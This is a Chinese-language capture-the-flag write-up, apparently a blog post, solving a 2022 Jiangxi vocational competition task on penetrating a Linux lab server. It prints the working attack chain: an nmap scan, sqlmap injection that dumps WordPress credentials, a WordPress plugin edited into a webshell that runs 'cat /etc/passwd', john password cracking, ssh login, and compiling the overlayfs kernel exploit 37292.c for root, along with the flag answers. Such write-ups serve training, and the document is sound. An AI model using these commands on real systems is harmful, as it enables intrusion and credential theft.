2022江西省职业技能大赛 网络安全(备) B-4 解析

2022江西省职业技能大赛 网络安全(备) B-4 解析

B-4任务四:Linux操作系统渗透测试

1. 通过本地PC中渗透测试平台Kali对服务器场景Server4进行系统服务及版本扫描渗透测试,并将该操作显示结果中21端口对应的服务版本信息字符串作为flag值提交;

这个简单 nmap 扫描就好了
┌──(root💀Kali)-[~/桌面]
└─# nmap -sV 172.16.2.30  
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-09 20:45 CST
Stats: 0:00:12 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 80.00% done; ETC: 20:45 (0:00:03 remaining)
Nmap scan report for 172.16.2.30
Host is up (0.0047s latency).
Not shown: 995 closed tcp ports (reset)
PORT     STATE SERVICE  VERSION
21/tcp   open  ftp      vsftpd 3.0.2
22/tcp   open  ssh      OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http     Apache httpd 2.4.7 ((Ubuntu))
443/tcp  open  ssl/http Apache httpd
8080/tcp open  http     Apache httpd
MAC Address: 52:54:00:BA:BE:00 (QEMU virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.92 seconds
flag:vsftpd 3.0.2

2. 找到/var/www目录中的图片文件,将文件名称作为flag值提交;

这题通过 sql注入获取服务器账户密码 步骤如下:
1. 80 端口 dirb 扫描获取到 login.php 页面
dirb http://172.16.2.30/
2. sql 注入 获取到 WordPress 的管理员账户密码(admin,SuperSecretPassword)
sqlmap -u "http://172.16.2.30/login.php" --data="user=1&password=1&s=Submit" --dbs --batch --time-sec 1 -D wordpress8080 -T users --dump
3. 通过 WordPress插件 获取全部用户名称
登录网站后台—点击插件—选择:你好多利 ----编辑----改成如下----保存刷新网页即可获取所有用户
<?php
/**
 * @package Hello_Dolly
 * @version 1.6
 */
/*
Plugin Name: Hello Dolly
Plugin URI: http://wordpress.org/plugins/hello-dolly/
Description: This is not just a plugin, it symbolizes the hope and enthusiasm of an entire generation summed up in two words sung most famously by Louis Armstrong: Hello, Dolly. When activated you will randomly see a lyric from <cite>Hello, Dolly</cite> in the upper right of your admin screen on every page.
Author: Matt Mullenweg
Version: 1.6
Author URI: http://ma.tt/
*/
echo(system('cat /etc/passwd'));

?>
保存所有用户名使用john爆破即可密码是sql注入获取的密码
4. 使用爆破的密码 ssh远程登录帐号(user,SuperSecretPassword)
ssh user@172.16.2.30
flag: avpeurhbngvp.png

3. 找到/var/www目录中的图片文件,将图中的英文单词作为flag值提交;

flag:braveheart

4. 找到/home/guest目录中的txt文件,将文件内容作为flag值提交;

flag:bvauytfqvueye

5. 找到/root目录中的txt文件,将文件内容作为flag值提交。

这题需要提权,步骤如下:
1. 获取体统内核版本号(3.13.0)
uname -a
# Linux Kiowizity 3.13.0-45-generic #74-Ubuntu SMP Tue Jan 13 19:37:48 UTC 2015 i686 i686 i686 GNU/Linux
2. 使用 searchsploit 查找内核漏洞(37292.c)
searchsploit 3.13.0

#---------------------------------------------------------------------------- ---------------------------------
# Exploit Title                                                              |  Path
#---------------------------------------------------------------------------- ---------------------------------
#Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' L | linux/local/37292.c
#Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' L | linux/local/37293.txt
#---------------------------------------------------------------------------- ---------------------------------
3. 将文件传到靶机进行提权
# Kali
scp /usr/share/exploitdb/exploits/linux/local/37292.c user@172.16.2.30:/tmp
# 靶机
gcc 37292.c
chmod +x a.out
./a.out
flag:mnvlkedjqafnv
  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值